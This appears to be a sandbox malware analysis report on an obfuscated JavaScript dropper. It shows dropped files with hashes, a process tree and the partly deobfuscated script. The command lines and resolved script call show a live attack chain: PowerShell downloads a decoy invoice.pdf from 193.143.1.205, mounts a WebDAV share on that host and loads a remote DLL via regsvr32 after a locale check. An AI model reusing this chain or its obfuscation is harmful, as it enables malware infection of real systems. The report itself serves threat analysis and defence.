Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18671), with CRLF line terminators
Entropy (8bit):	4.918305839301518
TrID:
File name:	904223203151262489.js
File size:	22'402 bytes
MD5:	95fb2dcde2f44f4a444cc236ee56da9f
SHA1:	fd63734a8fd864260449cea9288394931a39df75
SHA256:	6e28a777c56774c7e7acd87ce82bb34a634ad6cbd09c607d64fc5559690a34ac
SHA512:	49d55ba84f168f423f048593b316c59f01d4d0e230db966130db433a5602c77b9291d3d145b139151ad2eda993cecec7d00a5bdd79dfd698d4cb32cef907311a
SSDEEP:	384:SkU8MreIXdDkN3L8ibvGxNwMwOMw3L9ytPXI:STdkvGxNwMwOMw3L9ytQ
TLSH:	F9A26488D4A8DC0399C485628BCB2CEF59B2831C8D6871D14A4789CDFB49DF769E0B7D
File Content Preview:	function nrtbve(){ipnlmici=[1031,3079,5127,4103,2055,3072];var jvljzhtdd=this[raabqpxw+cuctkxeh+lhifapz+ijymgddmv+kzokijbd+tapgfvf+fltesndo+qqttszh](this[wgxfe+fqhmcjzq+kdlueaex+lhifapz+nguuyretc+raabqpxw+qqttszh][rywmy+lhifapz+kzokijbd+cuctkxeh+qqttszh+k

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	03:14:45
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\904223203151262489.js"
Imagebase:	0x7ff60b550000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:14:46
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll
Imagebase:	0x7ff747fc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:14:46
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:14:46
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:14:50
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:14:50
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff747fc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:14:50
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff76e180000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:14:51
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:14:51
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:14:51
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1708,i,5260200207789614358,16352158199973561446,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function nrtbve() {	nrtbve() ➔ undefined
1	ipnlmici = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var jvljzhtdd = this[raabqpxw + cuctkxeh + lhifapz + ijymgddmv + kzokijbd + tapgfvf + fltesndo + qqttszh] ( this[wgxfe + fqhmcjzq + kdlueaex + lhifapz + nguuyretc + raabqpxw + qqttszh][rywmy + lhifapz + kzokijbd + cuctkxeh + qqttszh + kzokijbd + sbashgfjv + loikl + oaaxe + kzokijbd + kdlueaex + qqttszh] ( wgxfe + fqhmcjzq + kdlueaex + lhifapz + nguuyretc + raabqpxw + qqttszh + iqgxhm + fqhmcjzq + zxhnrkanm + kzokijbd + tkpqnayq + tkpqnayq ) [dyzasacq + kzokijbd + btjucnlna + dyzasacq + kzokijbd + cuctkxeh + bbyxw] ( ghojvjil + jxifo + iisxvlch + xnkzzv + cujikxs + rywmy + zktuy + dyzasacq + dyzasacq + iisxvlch + fpuxmo + tzyuverya + cujikxs + zktuy + fqhmcjzq + iisxvlch + dyzasacq + pgkmv + rywmy + dhtehulri + fltesndo + qqttszh + lhifapz + dhtehulri + tkpqnayq + mxcqlhlxb + zejeiijh + cuctkxeh + fltesndo + kzokijbd + tkpqnayq + pgkmv + tapgfvf + fltesndo + qqttszh + kzokijbd + lhifapz + fltesndo + cuctkxeh + qqttszh + nguuyretc + dhtehulri + fltesndo + cuctkxeh + tkpqnayq + pgkmv + luhqqga + dhtehulri + kdlueaex + cuctkxeh + tkpqnayq + kzokijbd ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( lltvdf = 0 ; lltvdf < ipnlmici[tkpqnayq + kzokijbd + fltesndo + btjucnlna + qqttszh + zxhnrkanm] ; ++ lltvdf )
4	{
5	if ( jvljzhtdd == ipnlmici[lltvdf] )
6	{
7	jvljzhtdd = true;
8	break ;
9	}
10	}
11	if ( jvljzhtdd !== true )
12	this[wgxfe + fqhmcjzq + kdlueaex + lhifapz + nguuyretc + raabqpxw + qqttszh][hnykchl + aiqid + nguuyretc + qqttszh] ( );
13	this[wgxfe + fqhmcjzq + kdlueaex + lhifapz + nguuyretc + raabqpxw + qqttszh][rywmy + lhifapz + kzokijbd + cuctkxeh + qqttszh + kzokijbd + sbashgfjv + loikl + oaaxe + kzokijbd + kdlueaex + qqttszh] ( wgxfe + fqhmcjzq + kdlueaex + lhifapz + nguuyretc + raabqpxw + qqttszh + iqgxhm + fqhmcjzq + zxhnrkanm + kzokijbd + tkpqnayq + tkpqnayq ) [lhifapz + aiqid + fltesndo] ( kdlueaex + pqsfug + bbyxw + mxcqlhlxb + eomjgvuu + kdlueaex + mxcqlhlxb + raabqpxw + dhtehulri + qpbvenxv + kzokijbd + lhifapz + ijymgddmv + zxhnrkanm + kzokijbd + tkpqnayq + tkpqnayq + iqgxhm + kzokijbd + bwfaaqayo + kzokijbd + mxcqlhlxb + uygxuckc + rywmy + dhtehulri + pqsfug + pqsfug + cuctkxeh + fltesndo + bbyxw + mxcqlhlxb + lhunjl + tapgfvf + fltesndo + crxxlhvrm + dhtehulri + uuqctd + kzokijbd + uygxuckc + wgxfe + kzokijbd + loikl + dyzasacq + kzokijbd + fmedvdg + aiqid + kzokijbd + ijymgddmv + qqttszh + mxcqlhlxb + uygxuckc + sbashgfjv + aiqid + qqttszh + qbeovzr + nguuyretc + tkpqnayq + kzokijbd + mxcqlhlxb + emoibj + qqttszh + kzokijbd + pqsfug + raabqpxw + emoibj + pgkmv + nguuyretc + fltesndo + crxxlhvrm + dhtehulri + nguuyretc + kdlueaex + kzokijbd + iqgxhm + raabqpxw + bbyxw + zlqxosdtm + mxcqlhlxb + zxhnrkanm + qqttszh + qqttszh + raabqpxw + riahs + eomjgvuu + eomjgvuu + uqpvhekpb + nztgqpyz + sjjtdvyyt + iqgxhm + uqpvhekpb + vbdquzb + sjjtdvyyt + iqgxhm + uqpvhekpb + iqgxhm + vswypcmea + tsaeel + gojlr + eomjgvuu + nguuyretc + fltesndo + crxxlhvrm + dhtehulri + nguuyretc + kdlueaex + kzokijbd + iqgxhm + raabqpxw + zxhnrkanm + raabqpxw + lhunjl + zrgkkoad + zrgkkoad + ijymgddmv + qqttszh + cuctkxeh + lhifapz + qqttszh + mxcqlhlxb + emoibj + qqttszh + kzokijbd + pqsfug + raabqpxw + emoibj + pgkmv + nguuyretc + fltesndo + crxxlhvrm + dhtehulri + nguuyretc + kdlueaex + kzokijbd + iqgxhm + raabqpxw + bbyxw + zlqxosdtm + zrgkkoad + zrgkkoad + kdlueaex + pqsfug + bbyxw + mxcqlhlxb + eomjgvuu + kdlueaex + mxcqlhlxb + fltesndo + kzokijbd + qqttszh + mxcqlhlxb + aiqid + ijymgddmv + kzokijbd + mxcqlhlxb + pgkmv + pgkmv + uqpvhekpb + nztgqpyz + sjjtdvyyt + iqgxhm + uqpvhekpb + vbdquzb + sjjtdvyyt + iqgxhm + uqpvhekpb + iqgxhm + vswypcmea + tsaeel + gojlr + witcsa + ccorwjm + ccorwjm + ccorwjm + ccorwjm + pgkmv + bbyxw + cuctkxeh + crxxlhvrm + qpbvenxv + qpbvenxv + qpbvenxv + lhifapz + dhtehulri + dhtehulri + qqttszh + pgkmv + zrgkkoad + zrgkkoad + kdlueaex + pqsfug + bbyxw + mxcqlhlxb + eomjgvuu + kdlueaex + mxcqlhlxb + lhifapz + kzokijbd + btjucnlna + ijymgddmv + crxxlhvrm + lhifapz + sjjtdvyyt + vswypcmea + mxcqlhlxb + eomjgvuu + ijymgddmv + mxcqlhlxb + pgkmv + pgkmv + uqpvhekpb + nztgqpyz + sjjtdvyyt + iqgxhm + uqpvhekpb + vbdquzb + sjjtdvyyt + iqgxhm + uqpvhekpb + iqgxhm + vswypcmea + tsaeel + gojlr + witcsa + ccorwjm + ccorwjm + ccorwjm + ccorwjm + pgkmv + bbyxw + cuctkxeh + crxxlhvrm + qpbvenxv + qpbvenxv + qpbvenxv + lhifapz + dhtehulri + dhtehulri + qqttszh + pgkmv + vswypcmea + uqpvhekpb + gojlr + nfbpdznm + vswypcmea + uqpvhekpb + sjjtdvyyt + uqpvhekpb + nfbpdznm + mmxwxpqzy + vswypcmea + nfbpdznm + mmxwxpqzy + mmxwxpqzy + uqpvhekpb + iqgxhm + bbyxw + tkpqnayq + tkpqnayq, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll",0,false) ➔ 0
14	}
15	dhtehulri = "d";
16	dhtehulri = "F";
17	dhtehulri = "J";
18	dhtehulri = "E";
19	dhtehulri = "C";
20	dhtehulri = "P";
21	dhtehulri = "E";
22	dhtehulri = "o";
23	dhtehulri = "f";
24	dhtehulri = "d";
25	dhtehulri = "a";
26	dhtehulri = "K";
27	dhtehulri = "f";
28	dhtehulri = "z";
29	dhtehulri = "t";
30	dhtehulri = "D";
31	dhtehulri = "L";
32	dhtehulri = "e";
33	dhtehulri = "F";
34	dhtehulri = "A";
35	dhtehulri = "u";
36	dhtehulri = "d";
37	dhtehulri = "G";
38	dhtehulri = "o";
39	xnkzzv = "K";
40	xnkzzv = "K";
41	xnkzzv = "y";
42	xnkzzv = "q";
43	xnkzzv = "S";
44	xnkzzv = "T";
45	xnkzzv = "Q";
46	xnkzzv = "N";
47	xnkzzv = "m";
48	xnkzzv = "H";
49	xnkzzv = "a";
50	xnkzzv = "X";
51	xnkzzv = "E";
52	xnkzzv = "a";
53	xnkzzv = "H";
54	xnkzzv = "f";
55	xnkzzv = "S";
56	xnkzzv = "D";
57	xnkzzv = "f";
58	xnkzzv = "r";
59	xnkzzv = "s";
60	xnkzzv = "A";
61	xnkzzv = "I";
62	xnkzzv = "A";
63	xnkzzv = "x";
64	xnkzzv = "G";
65	xnkzzv = "P";
66	xnkzzv = "P";
67	xnkzzv = "D";
68	xnkzzv = "r";
69	xnkzzv = "Y";
70	xnkzzv = "Z";
71	xnkzzv = "B";
72	xnkzzv = "x";
73	xnkzzv = "Y";
74	loikl = "f";
75	loikl = "W";
76	loikl = "O";
77	loikl = "T";
78	loikl = "S";
79	loikl = "K";
80	loikl = "m";
81	loikl = "h";
82	loikl = "Q";
83	loikl = "C";
84	loikl = "A";
85	loikl = "P";
86	loikl = "u";
87	loikl = "u";
88	loikl = "U";
89	loikl = "O";
90	loikl = "e";
91	loikl = "z";
92	loikl = "P";
93	loikl = "t";
94	loikl = "g";
95	loikl = "a";
96	loikl = "G";
97	loikl = "g";
98	loikl = "b";
99	loikl = "W";
100	loikl = "t";
101	loikl = "K";
102	loikl = "H";
103	loikl = "b";
104	nfbpdznm = "p";
105	nfbpdznm = "g";
106	nfbpdznm = "w";
107	nfbpdznm = "v";
108	nfbpdznm = "r";
109	nfbpdznm = "g";
110	nfbpdznm = "f";
111	nfbpdznm = "O";
112	nfbpdznm = "q";
113	nfbpdznm = "Z";
114	nfbpdznm = "L";
115	nfbpdznm = "f";
116	nfbpdznm = "J";
117	nfbpdznm = "l";
118	nfbpdznm = "W";
119	nfbpdznm = "h";
120	nfbpdznm = "L";
121	nfbpdznm = "V";
122	nfbpdznm = "H";
123	nfbpdznm = "t";
124	nfbpdznm = "Z";
125	nfbpdznm = "p";
126	nfbpdznm = "A";
127	nfbpdznm = "i";
128	nfbpdznm = "K";
129	nfbpdznm = "m";
130	nfbpdznm = "t";
131	nfbpdznm = "T";
132	nfbpdznm = "l";
133	nfbpdznm = "t";
134	nfbpdznm = "I";
135	nfbpdznm = "C";
136	nfbpdznm = "l";
137	nfbpdznm = "K";
138	nfbpdznm = "G";
139	nfbpdznm = "K";
140	nfbpdznm = "A";
141	nfbpdznm = "c";
142	nfbpdznm = "7";
143	zejeiijh = "N";
144	zejeiijh = "L";
145	zejeiijh = "N";
146	zejeiijh = "P";
147	uuqctd = "y";
148	uuqctd = "l";
149	uuqctd = "Q";
150	uuqctd = "k";
151	kzokijbd = "W";
152	kzokijbd = "z";
153	kzokijbd = "g";
154	kzokijbd = "j";
155	kzokijbd = "m";
156	kzokijbd = "f";
157	kzokijbd = "h";
158	kzokijbd = "e";
159	kzokijbd = "y";
160	kzokijbd = "P";
161	kzokijbd = "n";
162	kzokijbd = "S";
163	kzokijbd = "s";
164	kzokijbd = "S";
165	kzokijbd = "J";
166	kzokijbd = "c";
167	kzokijbd = "L";
168	kzokijbd = "k";
169	kzokijbd = "f";
170	kzokijbd = "H";
171	kzokijbd = "E";
172	kzokijbd = "I";
173	kzokijbd = "T";
174	kzokijbd = "I";
175	kzokijbd = "J";
176	kzokijbd = "S";
177	kzokijbd = "G";
178	kzokijbd = "U";
179	kzokijbd = "u";
180	kzokijbd = "e";
181	vswypcmea = "A";
182	vswypcmea = "B";
183	vswypcmea = "P";
184	vswypcmea = "s";
185	vswypcmea = "P";
186	vswypcmea = "f";
187	vswypcmea = "f";
188	vswypcmea = "Z";
189	vswypcmea = "C";
190	vswypcmea = "B";
191	vswypcmea = "w";
192	vswypcmea = "L";
193	vswypcmea = "H";
194	vswypcmea = "p";
195	vswypcmea = "C";
196	vswypcmea = "s";
197	vswypcmea = "f";
198	vswypcmea = "l";
199	vswypcmea = "P";
200	vswypcmea = "m";
201	vswypcmea = "U";
202	vswypcmea = "s";
203	vswypcmea = "C";
204	vswypcmea = "L";
205	vswypcmea = "Y";
206	vswypcmea = "y";
207	vswypcmea = "R";
208	vswypcmea = "S";
209	vswypcmea = "T";
210	vswypcmea = "t";
211	vswypcmea = "Z";
212	vswypcmea = "c";
213	vswypcmea = "c";
214	vswypcmea = "c";
215	vswypcmea = "2";
216	fpuxmo = "H";
217	fpuxmo = "v";
218	fpuxmo = "X";
219	fpuxmo = "G";
220	fpuxmo = "M";
221	fpuxmo = "a";
222	fpuxmo = "s";
223	fpuxmo = "a";
224	fpuxmo = "x";
225	fpuxmo = "k";
226	fpuxmo = "m";
227	fpuxmo = "d";
228	fpuxmo = "R";
229	fpuxmo = "U";
230	fpuxmo = "A";
231	fpuxmo = "O";
232	fpuxmo = "M";
233	fpuxmo = "H";
234	fpuxmo = "e";
235	fpuxmo = "R";
236	fpuxmo = "n";
237	fpuxmo = "Q";
238	fpuxmo = "O";
239	fpuxmo = "B";
240	fpuxmo = "M";
241	fpuxmo = "x";
242	fpuxmo = "p";
243	fpuxmo = "N";
244	sbashgfjv = "V";
245	sbashgfjv = "O";
246	fmedvdg = "r";
247	fmedvdg = "V";
248	fmedvdg = "y";
249	fmedvdg = "m";
250	fmedvdg = "k";
251	fmedvdg = "G";
252	fmedvdg = "d";
253	fmedvdg = "H";
254	fmedvdg = "k";
255	fmedvdg = "a";
256	fmedvdg = "o";
257	fmedvdg = "x";
258	fmedvdg = "A";
259	fmedvdg = "q";
260	fmedvdg = "v";
261	fmedvdg = "V";
262	fmedvdg = "l";
263	fmedvdg = "n";
264	fmedvdg = "e";
265	fmedvdg = "L";
266	fmedvdg = "O";
267	fmedvdg = "f";
268	fmedvdg = "J";
269	fmedvdg = "G";
270	fmedvdg = "k";
271	fmedvdg = "W";
272	fmedvdg = "y";
273	fmedvdg = "L";
274	fmedvdg = "k";
275	fmedvdg = "S";
276	fmedvdg = "J";
277	fmedvdg = "Y";
278	fmedvdg = "j";
279	fmedvdg = "P";
280	fmedvdg = "Q";
281	fmedvdg = "V";
282	fmedvdg = "Z";
283	fmedvdg = "i";
284	fmedvdg = "B";
285	fmedvdg = "N";
286	fmedvdg = "j";
287	fmedvdg = "r";
288	fmedvdg = "M";
289	fmedvdg = "G";
290	fmedvdg = "q";
291	bbyxw = "b";
292	bbyxw = "J";
293	bbyxw = "D";
294	bbyxw = "l";
295	bbyxw = "Y";
296	bbyxw = "j";
297	bbyxw = "Z";
298	bbyxw = "H";
299	bbyxw = "w";
300	bbyxw = "T";
301	bbyxw = "A";
302	bbyxw = "w";
303	bbyxw = "R";
304	bbyxw = "n";
305	bbyxw = "f";
306	bbyxw = "p";
307	bbyxw = "f";
308	bbyxw = "N";
309	bbyxw = "y";
310	bbyxw = "E";
311	bbyxw = "N";
312	bbyxw = "M";
313	bbyxw = "f";
314	bbyxw = "N";
315	bbyxw = "p";
316	bbyxw = "y";
317	bbyxw = "x";
318	bbyxw = "q";
319	bbyxw = "V";
320	bbyxw = "e";
321	bbyxw = "O";
322	bbyxw = "r";
323	bbyxw = "N";
324	bbyxw = "S";
325	bbyxw = "d";
326	jxifo = "p";
327	jxifo = "y";
328	jxifo = "F";
329	jxifo = "e";
330	jxifo = "G";
331	jxifo = "O";
332	jxifo = "J";
333	jxifo = "c";
334	jxifo = "P";
335	jxifo = "d";
336	jxifo = "D";
337	jxifo = "q";
338	jxifo = "f";
339	jxifo = "y";
340	jxifo = "n";
341	jxifo = "T";
342	jxifo = "X";
343	jxifo = "X";
344	jxifo = "l";
345	jxifo = "U";
346	jxifo = "M";
347	jxifo = "S";
348	jxifo = "a";
349	jxifo = "f";
350	jxifo = "K";
351	cuctkxeh = "B";
352	cuctkxeh = "R";
353	cuctkxeh = "b";
354	cuctkxeh = "d";
355	cuctkxeh = "i";
356	cuctkxeh = "X";
357	cuctkxeh = "l";
358	cuctkxeh = "x";
359	cuctkxeh = "w";
360	cuctkxeh = "x";
361	cuctkxeh = "n";
362	cuctkxeh = "o";
363	cuctkxeh = "Y";
364	cuctkxeh = "e";
365	cuctkxeh = "J";
366	cuctkxeh = "v";
367	cuctkxeh = "A";
368	cuctkxeh = "n";
369	cuctkxeh = "w";
370	cuctkxeh = "H";
371	cuctkxeh = "a";
372	cuctkxeh = "M";
373	cuctkxeh = "L";
374	cuctkxeh = "l";
375	cuctkxeh = "u";
376	cuctkxeh = "v";
377	cuctkxeh = "U";
378	cuctkxeh = "F";
379	cuctkxeh = "F";
380	cuctkxeh = "U";
381	cuctkxeh = "M";
382	cuctkxeh = "A";
383	cuctkxeh = "V";
384	cuctkxeh = "e";
385	cuctkxeh = "o";
386	cuctkxeh = "N";
387	cuctkxeh = "Z";
388	cuctkxeh = "D";
389	cuctkxeh = "A";
390	cuctkxeh = "q";
391	cuctkxeh = "Q";
392	cuctkxeh = "Y";
393	cuctkxeh = "o";
394	cuctkxeh = "a";
395	ijymgddmv = "D";
396	ijymgddmv = "t";
397	ijymgddmv = "l";
398	ijymgddmv = "R";
399	ijymgddmv = "F";
400	ijymgddmv = "V";
401	ijymgddmv = "P";
402	ijymgddmv = "H";
403	ijymgddmv = "i";
404	ijymgddmv = "q";
405	ijymgddmv = "T";
